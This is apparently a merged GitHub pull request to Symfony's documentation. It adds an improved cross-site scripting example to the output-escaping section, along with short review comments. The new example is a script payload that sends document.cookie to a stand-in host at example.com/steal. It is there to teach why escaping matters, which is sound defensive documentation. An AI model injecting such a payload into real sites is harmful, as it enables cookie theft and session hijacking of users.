Skip to content

Add a better example of the dangers of XSS attacks #19805

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 1 commit into from
Apr 23, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion reference/configuration/framework.rst
Original file line number Diff line number Diff line change
Expand Up @@ -1825,7 +1825,7 @@ cookie_httponly
This determines whether cookies should only be accessible through the HTTP
protocol. This means that the cookie won't be accessible by scripting
languages, such as JavaScript. This setting can effectively help to reduce
identity theft through XSS attacks.
identity theft through :ref:`XSS attacks <xss-attacks>`.

gc_divisor
..........
Expand Down
7 changes: 3 additions & 4 deletions reference/configuration/twig.rst
Original file line number Diff line number Diff line change
Expand Up @@ -44,9 +44,9 @@ individually in the templates).
.. danger::

Setting this option to ``false`` is dangerous and it will make your
application vulnerable to `XSS attacks`_ because most third-party bundles
assume that auto-escaping is enabled and they don't escape contents
themselves.
application vulnerable to :ref:`XSS attacks <xss-attacks>` because most
third-party bundles assume that auto-escaping is enabled and they don't
escape contents themselves.

If set to a string, the template contents are escaped using the strategy with
that name. Allowed values are ``html``, ``js``, ``css``, ``url``, ``html_attr``
Expand Down Expand Up @@ -345,4 +345,3 @@ attribute or method doesn't exist. If set to ``false`` these errors are ignored
and the non-existing values are replaced by ``null``.

.. _`the optimizer extension`: https://twig.symfony.com/doc/3.x/api.html#optimizer-extension
.. _`XSS attacks`: https://en.wikipedia.org/wiki/Cross-site_scripting
24 changes: 16 additions & 8 deletions templates.rst
Original file line number Diff line number Diff line change
Expand Up @@ -1240,17 +1240,25 @@ and leaves the repeated contents and HTML structure to some parent templates.
Read the `Twig template inheritance`_ docs to learn more about how to reuse
parent block contents when overriding templates and other advanced features.

Output Escaping
---------------
.. _output-escaping:
.. _xss-attacks:

Output Escaping and XSS Attacks
-------------------------------

Imagine that your template includes the ``Hello {{ name }}`` code to display the
user name. If a malicious user sets ``<script>alert('hello!')</script>`` as
their name and you output that value unchanged, the application will display a
JavaScript popup window.
user name and a malicious user sets the following as their name:

.. code-block:: html

My Name
<script type="text/javascript">
document.write('<img src="https://example.com/steal?cookie=' + encodeURIComponent(document.cookie) + '" style="display:none;">');
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What about use a route with things like /delete/post/1 ?
So reader got the critical idea of having a page making an external action not only query things?

Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I don't like this idea because it's mixing two different things: XSS attacks is one thing and creating/deleting resources with GET HTTP methods is a different problem. But thanks anyways for reviewing and commenting.

</script>

This is known as a `Cross-Site Scripting`_ (XSS) attack. And while the previous
example seems harmless, the attacker could write more advanced JavaScript code
to perform malicious actions.
You'll see ``My Name`` on screen but the attacker just secretly stole your cookies
so they can impersonate you in other websites. This is known as a `Cross-Site Scripting`_
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
so they can impersonate you in other websites. This is known as a `Cross-Site Scripting`_
so they can impersonate you on other websites. This is known as a `Cross-Site Scripting`_

Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed while merging. Thanks!

or XSS attack.

To prevent this attack, use *"output escaping"* to transform the characters
which have special meaning (e.g. replace ``<`` by the ``&lt;`` HTML entity).
Expand Down
Loading